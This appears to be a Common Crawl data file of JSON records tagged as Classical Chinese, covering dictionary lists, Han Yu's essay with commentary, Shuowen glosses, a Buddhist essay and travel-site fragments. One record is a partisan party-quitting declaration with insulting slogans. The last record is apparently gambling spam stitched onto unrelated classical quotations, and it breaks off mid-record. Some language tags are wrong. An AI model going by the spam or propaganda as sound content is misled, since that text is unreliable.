+{"text":"1.兵家用语。谓将军队置于绝境,则将士必为求生而殊死战斗。语本《孙子.九地》:\"陷之死地然后生。\"李筌注:\"兵居死地,必决命而斗以求生。\"\n致一 致丧 致主 致之度外 致乐 致书邮 致事 致人 致仕 致仕官 致伤 致位 致使 致候 致养 致冷 致力 致功 致化 之个 之乎者也 之任 之前 之卦 之后 之国 之如 之子 之字 之字路 之官 之往 之无 之死不渝 之死靡二 之死靡他 之死靡它 之江 之流 死不回头 死不开口 死不悔改 死不改悔 死不旋踵 死不死,活不活 死不甘心 死不瞑目 死不要脸 死不足惜 死不闭目 死且不朽 死丕丕 死业 死丧 死中求活 死中求生 死临侵 死义 死乞白赖 地一 地丁 地上 地上天官 地上天宫 地上河 地上茎 地下 地下修文 地下室 地下宫殿 地下建筑 地下建筑物 地下水 地下水回灌 地下水库 地下河 地下灌溉 地下热 地下茎 而上 而下 而且 而乃 而亦 而今 而今而后 而何 而公 而况 而后 而外 而夫 而姬壶 而已 而往 而或 而来 而此 而立 后七子 后不为例 后不僭先 后世 后丞 后主 后举 后乘 后事 后五代 后五日 后交 后人 后从 后代 后件 后任 后会 后会无期 后会有期 生一 生三 生上起下 生不如死 生不逢场 生不逢时 生不逢辰 生不遇时 生世 生世不谐 生业 生丝 生个子 生主 生之者众,食之者寡 生书 生乳 生事 生事微渺 生事扰民","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/cidian.xpcha.com\/6f463na7iqp.html","date":"2017-06-22T23:59:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128319933.33\/warc\/CC-MAIN-20170622234435-20170623014435-00129.warc.gz","language":"lzh","language_score":0.9326156974,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.9326156973838806, \"nan_Hani_score\": 0.039008866995573044, \"cmn_Hani_score\": 0.02766602486371994}","num_words":140,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.28,"stopwords_ratio":0.007,"flagged_words_ratio":0.0,"lang_id_score":0.935,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Syôkai: 1869年(明治2)5月に,大学頭 山内容堂に建白したもので,「ローマ字国字論」の最初のもの.\n修國語論\n南部義籌\n學問之道、西洋諸邦爲易、皇國支那爲難、而皇國爲甚、夫西洋之爲學也、唯知二十六之字、解文典之義、則無不可読之書、是其所以爲易也、如支那不然、非読数百之書、通于数千之字、則不可、是其所以爲難也、雖然支那尚専矣、至皇國則加之,以和學與俗用之文。非併通之、則不可、是故爲學之難、莫甚於皇國也,文物之盛否、職此之由、欲育人才、不亦難哉、方今爲學者、或漢、或洋.捨其本、而唯末之務.是以解國語、通于國典者、甚鮮矣、其至如此也、非學者之罪也.政使之然也、何則人情避無用、而赴有用、猶水之就下也,熟能禦之、自中古模倣漢制以来、詔勅制誥之文、必假力於漢籍、而脩之、日用之文、亦如此者.居多、故不學漢籍、則不能成用也、且洋學者、亦當今之急務也、至和學、則不關今日之人事、而殆屬無用、唯爲歌詞之具而已、是則政之過也、學者之不脩不亦宜哉、是以國語日失、而海内異辭、言語殆不相通、是語學不明之由、豈可謂文明國哉、如此而不止、則堂々皇國之語、或變爲漢、或爲英、爲佛、爲蘭、混雜磨滅、将至不可分辨、可堪慨哉、然則深察此理、而不可不起易學之學、而立令先務脩國學之策也、苟欲成之、莫如假洋字、而脩國語也、雖然、世人泥因習、則必将謂不可用也、若平心察之、則有至理而存焉、然則斷然用之而可也、精々講究、脩皇國之史典、就漢洋之書籍、擇其有補于治道者、與天文地理之書、譯之以投書生、而使學之、則不假力於他國之學、而自得究天下之理、通于萬國情也、是非變難而爲易哉、而後詔勅制誥、與日用之文、皆用之、則闔國之人、不得不脩國学也、夫如此、則海内同辞、而無不相通之患、然而闔國之人、必先修國学、而後或漢、或洋、従其所好、修其業、則本立而成焉、人材之成立、文物之勃興、必将至不可與今日同日而論也、然則是亦當今日之急務、育才之本也、其可忽哉、或曰、子之説甚善、雖然假洋字、則無傷國體乎、曰是何傷、自皇國見之、漢與洋同是他邦也、何其擇焉、今欲假字、而脩國語、較之併字語而假之、失皇國固有之語、則何菅啻霄壤、然則斷然改之而可也、奚疑哉","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.geocities.jp\/masa_nip\/Bunko\/syuukok.html","date":"2017-09-21T00:03:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818687582.7\/warc\/CC-MAIN-20170920232245-20170921012245-00482.warc.gz","language":"lzh","language_score":0.890268743,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.8902687430381775, \"nan_Hani_score\": 0.02588002011179924, \"cmn_Hani_score\": 0.025258051231503487, \"jpn_Jpan_score\": 0.016311774030327797, \"yue_Hani_score\": 0.010322368703782558}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.866,"perplexity_score":500.0,"cluster_detection":1} +{"text":"說文小篆\n字頭\n释義\n丈夫也。夫下曰。周制八寸爲尺。十尺爲丈。人長一丈。故曰丈夫。白虎通曰。男、任也。任功業也。古男與任同音。故公侯伯子男、王莽男作任。从田力。言男子力於田也。會意。農力於田。自王公以下無非力於田者。那含切。古音在七部。凡男之屬皆从男。\n母之兄弟爲舅。釋親曰。母之晜弟爲舅。毛傳同。按周人謂兄爲晜也。舅之言舊也。猶姑之言故也。父之昆弟偁父。母之昆弟不得偁父。故偁舅。凡同姓可偁父。凡異姓不可偁父。故舅之也。今俗人言舅父者、非也。母之父母曷爲曰外王父、外王母與。父之父母偁王父王母。故母之父母得偁王父王母而外以別之也。父之昆弟偁從父。故母之?妹偁從母也。舍是則異姓無有偁父母者也。異姓可偁舅。故婦偁夫之父曰舅。男子偁妻之父曰外舅。母之從父昆弟曰從舅。又偁父之舅曰大舅。見後漢書。大者、今太字。妻之父爲外舅。男子於妻父亦言舅。對妻之舅吾父爲偁也。母之昆弟不曰外舅者、妻黨之別於母黨也。从男。臼聲。其九切。三部。\n謂我舅者吾謂之甥。釋親文。此泛釋甥義也。若母之昆弟爲吾舅。則謂吾爲甥矣。若妻之父爲吾外舅。則亦謂吾爲甥矣。釋親妻黨章曰。姑之子爲甥。舅之子爲甥。妻之晜弟爲甥。?妹之夫爲甥。注謂平等相甥。非也。姑之子、吾父母得甥之。舅之子、吾母姪之。吾父得甥之。妻之昆弟、吾父母得甥之。?妹之夫、吾父母壻之而甥之。是四者皆舅吾父者也。舅者、耆舊之偁。甥者、後生之偁。故異姓尊卑異等者以此相偁。爾雅類列於此。亦以見舅之子、妻之昆弟偁吾父皆曰舅。不似後世俗呼也。其立文如此者、從其便也。自來不得其解。則謂平等相甥。吾?妹之夫、吾父旣甥之矣。吾又呼之爲甥。此豈正名之義乎。姑之子爲外兄弟。舅之子爲內兄弟。妻之昆弟爲婚兄弟。?妹之夫爲姻兄弟。旣正其名矣。又安得淆之乎。外孫亦偁彌甥。?妹之孫、離孫也。亦偁從孫甥。皆見左傳。釋名妻之昆弟曰外甥一條冣爲無理。从男。生聲。所更切。十一部。","id":"","dump":"CC-MAIN-2017-43","url":"http:\/\/ccamc.co\/cjkv_shuowen.php?juan=%E5%8D%B7%E5%8D%81%E4%B8%89&bushou=%E7%94%B7%E9%83%A8","date":"2017-10-20T17:55:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187824293.62\/warc\/CC-MAIN-20171020173404-20171020193404-00149.warc.gz","language":"lzh","language_score":0.4790837765,"language_script":"Hani","minhash_cluster_size":13,"top_langs":"{\"lzh_Hani_score\": 0.479083776473999, \"cmn_Hani_score\": 0.23865321278572083, \"jpn_Jpan_score\": 0.049109458923339844, \"wuu_Hani_score\": 0.03766337037086487, \"nan_Hani_score\": 0.03411644697189331, \"zxx_Latn_score\": 0.02246839366853237, \"und_Sgnw_score\": 0.02218053676187992, \"yue_Hani_score\": 0.017650475725531578}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.454,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lista de Kanji Grado escolar 4, se estudian a los 9 años de edad en la primaria.\nEste grado o curso se compone de 200 kanji.\nDe estos kanji iré enlazando los más comunes ya que en principio no voy a estudiarlos activamente porque aún no tengo el nivel, pero poco a poco iré teniendo más.\n愛 案 以 衣 囲 位 胃 印 英 栄 塩 億 加 果 貨 課 芽 改 械 害 街 各 覚 完 官 関 管 観 願 希 季 紀 喜 旗 器 機 議 求 泣 救 給 挙 漁 共 協 鏡 競 極 訓 軍 郡 径 型 景 芸 欠 結 健 験 建 固 好 航 候 康 功 告 差 菜 最 材 昨 札 刷 察 殺 参 産 散 残 士 氏 史 司 試 辞 治 児 失 借 種 周 祝 順 初 松 笑 唱 焼 照 賞 象 信 臣 省 清 成 静 席 積 折 説 節 浅 戦 選 然 争 倉 巣 束 側 続 卒 孫 帯 隊 達 単 置 仲 貯 兆 腸 低 底 停 的 典 伝 徒 努 灯 堂 働 特 得 毒 熱 念 敗 梅 博 飯 飛 費 必 票 標 付 府 不 夫 副 粉 兵 別 辺 変 便 包 法 望 牧 末 満 未 脈 民 無 約 勇 要 養 浴 利 陸 良 料 量 輪 類 令 冷 例 歴 連 老 労 録","id":"","dump":"CC-MAIN-2017-43","url":"http:\/\/ganbatte.zaraheath.com\/2014\/10\/kanji-grado-escolar-4\/","date":"2017-10-17T07:55:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187820930.11\/warc\/CC-MAIN-20171017072323-20171017092323-00826.warc.gz","language":"lzh","language_score":0.4916709661,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.49167096614837646, \"jpn_Jpan_score\": 0.21146711707115173, \"cmn_Hani_score\": 0.18022114038467407, \"yue_Hani_score\": 0.09936020523309708}","num_words":252,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.387,"stopwords_ratio":0.012,"flagged_words_ratio":0.0,"lang_id_score":0.513,"perplexity_score":500.0,"cluster_detection":1} +{"text":"欢迎您访问锦州!\n想去0\n去过0\n沈阳旅游指南 大连旅游指南 鞍山旅游指南 抚顺旅游指南 本溪旅游指南 丹东旅游指南 营口旅游指南 阜新旅游指南 辽阳旅游指南 盘锦旅游指南 铁岭旅游指南 朝阳旅游指南 葫芦岛旅游指南","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/jinzhou.cncn.com\/tips\/","date":"2018-02-21T13:25:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891813622.87\/warc\/CC-MAIN-20180221123439-20180221143439-00493.warc.gz","language":"lzh","language_score":0.7160322666,"language_script":"Hani","minhash_cluster_size":23,"top_langs":"{\"lzh_Hani_score\": 0.7160322666168213, \"cmn_Hani_score\": 0.18915526568889618, \"jpn_Jpan_score\": 0.058185875415802, \"nan_Hani_score\": 0.017412787303328514, \"yue_Hani_score\": 0.015040924772620201}","num_words":16,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.796,"perplexity_score":500.0,"cluster_detection":1} +{"text":"欢迎您访问济源!\n想去0\n去过0\n郑州导游 开封导游 洛阳导游 平顶山导游 安阳导游 鹤壁导游 新乡导游 焦作导游 濮阳导游 许昌导游 漯河导游 三门峡导游 南阳导游 商丘导游 信阳导游 周口导游 驻马店导游","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/jiyuan.cncn.com\/daoyou\/","date":"2018-02-22T14:16:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814124.25\/warc\/CC-MAIN-20180222140814-20180222160814-00337.warc.gz","language":"lzh","language_score":0.4563654661,"language_script":"Hani","minhash_cluster_size":38,"top_langs":"{\"lzh_Hani_score\": 0.4563654661178589, \"cmn_Hani_score\": 0.29747068881988525, \"nan_Hani_score\": 0.11906878650188446, \"yue_Hani_score\": 0.11375373601913452, \"wuu_Hani_score\": 0.012026933953166008}","num_words":20,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.531,"perplexity_score":500.0,"cluster_detection":1} +{"text":"*據中華書局《古文觀止(全二冊)》(1959年9月第1版 2013年8月北京第24次印刷)訂正\n爭臣論 韓愈\n或問諫議大夫陽城於愈、可以爲有道之士乎哉。乎哉二字、連下作疑詞。 ○立此句爲一篇綱領、下段段關應。學廣而聞多、不求聞於人也。行古人之道、居於晉之鄙。鄙、邊境也。晉之鄙人、薰其德而善良者幾千人。城好學、貧不能得書。乃求爲集賢寫書吏、竊官書讀之。晝夜不出。六年已無所不通。及進士第、乃去隱中條山。遠近慕其德行、多從之學。大臣聞而薦之、天子以爲諫議大夫。城徙居陝州夏縣。李泌爲陝虢觀察使、聞城名、泌入相、薦爲著作郎。後德宗令長安尉楊甯、齎束帛、召爲諫議大夫。人皆以爲華、陽子不色喜。公力去陳言、如榮字變爲華字。無喜色變爲不色喜、可見。居於位五年矣、視其德如在野。彼豈以富貴移易其心哉。不以富貴易其貧賤之心、所以爲有道之士也。愈應之曰、是易所謂恆其德貞、而夫子凶者也。易、恆卦、六五、恆其德、貞婦人吉、夫子凶。言以柔順從人、而常久不易其德、可謂正矣。然乃婦人之道、非丈夫之宜也。惡得爲有道之士乎哉。接口一句斷住。在易蠱古、之上九云、不事王侯、高尚其事。易、蠱卦、上九、剛陽居上、在事之外、不臣事乎王侯、惟高尚吾之事而已。蹇之六二則曰、王臣蹇蹇、匪躬之故。蹇、難也。蹇卦六二、柔順中正、正應在上、而在險中。是君在難中也。故不避艱險以求濟之、是蹇而又蹇、非以其身之故也。夫亦以所居之時不一、而所蹈之德不同也。正解二句。若蠱之上九、居無用之地、而致匪躬之節、以蹇之六二、在王臣之位、而高不事之心、則冒進之患生、無用而匪躬者。曠官之刺興。王臣而不事者。志不可則、而尤不終無也。蠱上九象曰、不事王侯、志可則也。蹇六二象曰、王臣蹇蹇、終無尤也。 ○反振一段。 ○上接口一句、用經斷住、此又再引經反覆。今陽子在位、不爲不久矣。聞天下之得失、不爲不熟矣。天子待之、不爲不加矣。在王臣之位。而未嘗一言及於政。視政之得失、若越人視秦人之肥瘠、忽焉不加喜戚於其心。高不事之心。 ○百忙中、忽著一譬喻、與原道坐井而觀天、同法。問其官、則曰諫議也。問其祿、則曰下大夫之秩也。問其政、則曰我不知也。又作三疊、申前意。有道之士、固如是乎哉。第一斷。且吾聞之、更端再起。有官守者、不得其職則去。有言責者、不得其言則去。今陽子以爲得其言乎哉。得其言而不言、與不得其言而不去、無一可者也。有言責則當言、言不行則當去。不言與不去、無一可者也。陽子將爲祿仕乎。不消多語、只看陽子將爲祿仕乎一轉、當令陽子俛頸吐舌、不敢伸氣。古之人有云、仕不爲貧、而有時乎爲貧、謂祿仕者也。宜乎辭尊而居卑、辭富而居貧、若抱關擊柝者可也。蓋孔子嘗爲委吏矣、嘗爲乘田矣、亦不敢曠其職。必曰會計當而已矣、必曰牛羊遂而已矣。看他添減孟子文字、成自己文字。若陽子之秩祿、不爲卑且貧、章章明矣、而如此其可乎哉。第二斷。或曰否、非若此也。夫陽子惡訕上者、惡爲人臣招橋、其君之過、而以爲名者。招、舉也。故雖諫且議、使人不得而知焉。書曰、周書、君陳篇。爾有嘉謨嘉猷、則入告爾后於內、爾乃順之於外。曰、斯謨斯猷、惟我后之德。夫陽子之用心、亦若此者。前面意思已說盡了、主意只在再設問處斡旋、一節深于一節。愈應之曰、若陽子之用心如此、滋所謂惑者矣。接口一句斷住。入則諫其君、出不使人知者、大臣宰相者之事、非陽子之所宜行也。夫陽子、段段提起陽子說、不犯重、亦不冷淡。如千斛泉隨地而出、有許多情趣在。本以布衣、隱於蓬蒿之下。主上嘉其行誼、擢在此位。官以諫爲名、誠宜有以奉其職。使四方後代、知朝廷有直言骨鯁之臣、天子有不僭賞從諫如流之美。不僭賞、指擢居諫位言。庶巖穴之士、聞而慕之。束帶結髮、願進于闕下而伸其辭說。致吾君於堯舜、熙鴻號於無窮也。熙、明也。鴻號、大名也。若書所謂則大臣宰相之事、非陽子之所宜行也。復句、愈見醒透。且陽子之心、將使君人者、惡聞其過乎、是𠶳之也。是開君文過之端也。 ○又翻一筆作波瀾、就繳上意。 ○第三斷。或曰、陽子之不求聞而人聞之、不求用而君用之、不得已而起、守其道而不變、何子過之深也。議端全在守其道而不變處。愈曰、自古聖人賢士、皆非有求於聞用也。接口一句斷住。閔其時之不平、人之不乂。乂、治也。得其道、不敢獨善其身、而必以兼濟天下也。孜孜矻矻、坤入聲、死而後已。孜孜、勤也。矻矻、勞也。故禹過家門不入、孔席不暇暖、而墨突不得黔。孔子坐席不及溫、又遊他國。墨翟竈突不及黑、卽又他適。突、竈額。黔、黑也。彼二聖一賢者、豈不知自安佚之爲樂哉、誠畏天命而悲人窮也。畏時之不平、悲人之不乂。 ○以聖賢皆無心求聞用、折不求聞用句。以得其道不敢獨善、折守道不變句。仍引禹孔墨作證、行文步驟秩然。夫天授人以賢聖才能、豈使自有餘而已、誠欲以補其不足者也。再作頓跌、逼出妙理。耳目之於身也、耳司聞而目司見。聽其是非、視其險易、然後身得安焉。聖賢者、時人之耳目也。時人者、聖賢之身也。更端生一議論、尤見入情。當看聖賢時人一語、真名世之見、名世之言。且陽子之不賢、則將役於賢以奉其上矣。若果賢、則固畏天命而閔人窮也。惡得以自暇逸乎哉。兩路夾攻、愈擊愈緊。 ○第四斷。 ○每段皆用一且字、故爲進步作波瀾。或曰、吾聞君子不欲加諸人、而惡訐以爲直者。若吾子之論、直則直矣、無乃傷於德而費於辭乎。好盡言以招人過、國武子之所以見殺於齊也、吾子其亦聞乎。國語、柯陵之會、單襄公見國武子、其言盡。襄公曰、立于淫亂之間、而好盡言以招人過、怨之本也。魯成公十八年、齊人殺武子。 ○前段攻擊陽子、直是說得他無逃避處。此段假或人之辭以攻己、其言亦甚峻、文法最高。愈曰、君子居其位、則思死其官。未得位、則思修其辭以明其道。我將以明道也、非以爲直而加人也。接口斷住。且國武子不能得善人、而好盡言於亂國、是以見殺。傳曰、惟善人能受盡言。謂其聞而能改之也。有此一句分疏、纔有收拾。子告我曰、陽子可以爲有道之士也。照有道之士一篇關鍵。今雖不能及已、陽子將不得爲善人乎哉。以善人能受盡言獎陽子、回互得好。令陽子聞之、亦心平氣和、引過自責矣。 ○第五斷。\n陽城拜諫議大夫、聞得失熟、猶未肯言、故公作此論譏切之。是箴規攻擊體、文亦擅世之奇、截然四問四答、而首尾關應如一線。時城居位五年矣。後三年、而能排擊裴延齡、或謂城蓋有待、抑公有以激之歟。","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/neodu.com\/%E3%80%8A%E7%88%AD%E8%87%A3%E8%AB%96%E3%80%8B%E7%B9%81%E9%AB%94%E5%AD%97%E7%89%88.html","date":"2018-05-23T07:13:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794865456.57\/warc\/CC-MAIN-20180523063435-20180523083435-00247.warc.gz","language":"lzh","language_score":0.725843966,"language_script":"Hani","minhash_cluster_size":14,"top_langs":"{\"lzh_Hani_score\": 0.7258439660072327, \"cmn_Hani_score\": 0.11678711324930191, \"nan_Hani_score\": 0.05126291140913963, \"jpn_Jpan_score\": 0.021474994719028473, \"wuu_Hani_score\": 0.013677329756319523, \"yue_Hani_score\": 0.011032499372959137, \"zxx_Latn_score\": 0.010326485149562359}","num_words":17,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.726,"perplexity_score":500.0,"cluster_detection":1} +{"text":"藏字石,太神奇,昭昭天意。中共恶,中共强,疯老自死。快三退,莫迟疑,陪葬不值。\n声明人:\n黄桂花 退团 汪美凤 退队 张姐 退团 王遇 退队 夏守云 退团 汪大姐 退团 小陈 退团 刘新兰 退队 童先生 退队 李秀英 退团 老陈 退团 王女士 退团 王秀妹 退团 张大缘 退团 宋成桃 退团 金怀思 退团 郑慧丽 退团 任旭 退团 宁大哥 退党 洪老弟 退党 友缘 退党 王明胜 退党 董家贵 退党 王传好 退党 李清远 退党 罗玉兰 退党 吴家友 退党 陈化生 退党 谢正芳 退队 黄英霞 退队 许明德 退队 吴梦蝶 退队 江成芝 退队 王路遥 退团 杨光华 退团 吴志芳 退团 郑西兰 退团 吴世霞 退团 张玉玲 退团 胡国海 退团 陈幸福 退团 刘德英 退团 胡正美 退团 石德如 退团 韩如芳 退团\n2018\/6\/14(45)","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/tuidang.epochtimes.com\/index\/showpost\/id\/23079430","date":"2018-08-14T14:09:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221209040.29\/warc\/CC-MAIN-20180814131141-20180814151141-00557.warc.gz","language":"lzh","language_score":0.5629885793,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5629885792732239, \"cmn_Hani_score\": 0.34135133028030396, \"nan_Hani_score\": 0.08719813823699951}","num_words":92,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.316,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.769,"perplexity_score":500.0,"cluster_detection":1} +{"text":"尝观世之百工技艺之精、而造乎妙者、不可以言传。效之者、亦不可以言得。况大道之妙、可以口耳授受、语言文字而致哉。盖在心悟之妙耳。是则不独参禅、贵在妙悟。即世智辩聪治世语言、资生之业、无有一法不悟而得其妙者。妙则非言可及也。故吾佛圣人说法华、则纯谭实相。乃至妙法、则未措一词。但云如是而已。至若悟妙法者、但云善说法者。治世语言资生业等、皆顺正法。而华严五地圣人、善能通达世间之学。至于阴阳术数、图书印玺、医方辞赋、靡不该练、然后可以涉俗利生。故等觉大士、现十界形。应以何身何法得度、即现何身何法而度脱之。由是观之、佛法岂绝无世谛、而世谛岂尽非佛法哉。由人不悟大道之妙、而自画于内外之差耳。道岂然乎。窃观古今卫道藩篱者、在此、则曰彼外道耳。在彼、则曰此异端也。大而观之、其犹贵贱偶人、经界太虚、是非日月之光也。是皆不悟自心之妙而增益其戏论耳。盖古之圣人无他、特悟心之妙者、一切言教、皆从妙悟心中流出、应机而示浅深者也、故曰无不从此法界流、无不还此法界。是故吾人不悟自心不知圣人之心。不知圣人之心、而拟圣人之言者、譬夫场人之欣戚、虽乐不乐、虽哀不哀、哀乐原不出于己有也。哀乐不出于己、而以己为有者、吾于释圣人之言者见之。","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/chinalongmai.net\/bencandy-115-4558-1.htm","date":"2018-11-21T17:45:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039749562.99\/warc\/CC-MAIN-20181121173523-20181121195523-00409.warc.gz","language":"lzh","language_score":0.4941579103,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.49415791034698486, \"cmn_Hani_score\": 0.1447565108537674, \"nan_Hani_score\": 0.06787540018558502, \"und_Tang_score\": 0.022572988644242287, \"zxx_Latn_score\": 0.02255404181778431, \"wuu_Hani_score\": 0.0221436507999897, \"jpn_Jpan_score\": 0.021588841453194618, \"und_Grek_score\": 0.018869780004024506, \"yue_Hani_score\": 0.012751342728734016, \"und_Cyrl_score\": 0.010773382149636745}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.494,"perplexity_score":500.0,"cluster_detection":1} +{"text":"明程大約撰。大約字幼博。休寧人。是集爲于愼行所選。凡雜文二卷。詩四卷。多暢所欲言。不拘格律。如泛駕之馬。不可以羈勒範之。前有焦竑序。引孔子辭達之說。謂巷伯之譏刺。巧言之怨悱。何人斯之迫切。自後世論之。豈不傷温柔敦厚之體。而聖人乃錄之於經。以爲與辭達之旨有合。又稱其骯髒之姿。不爲世俗所約結。持論侃侃。脂韋突梯之人。多所不悅。而亦爲慷慨好義者之所深與。則大約固賦性剛毅直情而徑行者。宜發於文章。亦肖其爲人也。","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0392804.html","date":"2019-08-21T11:59:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315936.22\/warc\/CC-MAIN-20190821110541-20190821132541-00524.warc.gz","language":"lzh","language_score":0.3866119683,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.3866119682788849, \"cmn_Hani_score\": 0.3281385600566864, \"jpn_Jpan_score\": 0.04992474988102913, \"zxx_Latn_score\": 0.03829352185130119, \"yue_Hani_score\": 0.03827998414635658, \"nan_Hani_score\": 0.037635669112205505, \"wuu_Hani_score\": 0.02320142835378647, \"und_Yiii_score\": 0.01325114443898201, \"und_Cyrl_score\": 0.010793841443955898}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.387,"perplexity_score":500.0,"cluster_detection":1} +{"text":"按拼音首字母選擇:\n- H.\n- 杭州 合肥 海口 哈爾濱 呼和浩特 衡水 懷化 惠州 湖州 賀州 鶴壁 黃石 黃岡 衡陽 哈密 和田 河源 淮南 淮北 黃山 河池 邯鄲 鶴崗 黑河 淮安 葫蘆島 呼倫貝爾 海東 海北 黃南 海西 菏澤 漢中 紅河","id":"","dump":"CC-MAIN-2019-43","url":"http:\/\/juhua282542.cn\/index.php?g=Index&m=index&a=product&cate_id=277","date":"2019-10-13T20:13:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986647517.11\/warc\/CC-MAIN-20191013195541-20191013222541-00391.warc.gz","language":"lzh","language_score":0.7771562338,"language_script":"Hani","minhash_cluster_size":77,"top_langs":"{\"lzh_Hani_score\": 0.7771562337875366, \"nan_Hani_score\": 0.12166830152273178, \"cmn_Hani_score\": 0.0981845036149025}","num_words":36,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.331,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.861,"perplexity_score":500.0,"cluster_detection":1} +{"text":"苍山洱海,蝴蝶泉边,大理的风花雪月在静谧中悠远,美得不经意却那么沁人心脾。\n想去0\n去过0\n昆明旅游指南 曲靖旅游指南 玉溪旅游指南 保山旅游指南 昭通旅游指南 丽江旅游指南 普洱旅游指南 临沧旅游指南 楚雄旅游指南 红河旅游指南 文山旅游指南 西双版纳旅游指南 德宏旅游指南 怒江旅游指南 迪庆旅游指南","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/dali.cncn.com\/gonglue\/","date":"2019-12-13T21:36:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540569146.17\/warc\/CC-MAIN-20191213202639-20191213230639-00006.warc.gz","language":"lzh","language_score":0.4835761487,"language_script":"Hani","minhash_cluster_size":14,"top_langs":"{\"lzh_Hani_score\": 0.4835761487483978, \"cmn_Hani_score\": 0.47796159982681274, \"jpn_Jpan_score\": 0.01406728196889162, \"nan_Hani_score\": 0.010385812260210514}","num_words":18,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.543,"perplexity_score":500.0,"cluster_detection":1} +{"text":"网络打鱼平台我国为留学生调配50万份健康包首批运往12个国家\n子张学干禄。子曰:\"多闻阙疑,慎言其余,则寡尤;多见阙殆,慎行其余,则寡悔。言寡尤,行寡悔,禄在其中矣。\"\n陈胜虽已死,其所置遣侯王将相竟亡秦,由涉首事也。高祖时为陈涉置守冢三十家砀,至今血食。\n\"秦之所害莫如楚,楚彊则秦弱,秦彊则楚弱,其势不两立。故为大王计,莫如从亲以孤秦。大王不从,秦必起两军,一军出武关,一军下黔中,则鄢郢动矣。\n於是晋始作三行。荀林父将中行,先縠将右行,先蔑将左行。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/lshcd.hr033.com\/dyqcg\/0836379.html","date":"2020-04-03T19:41:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/C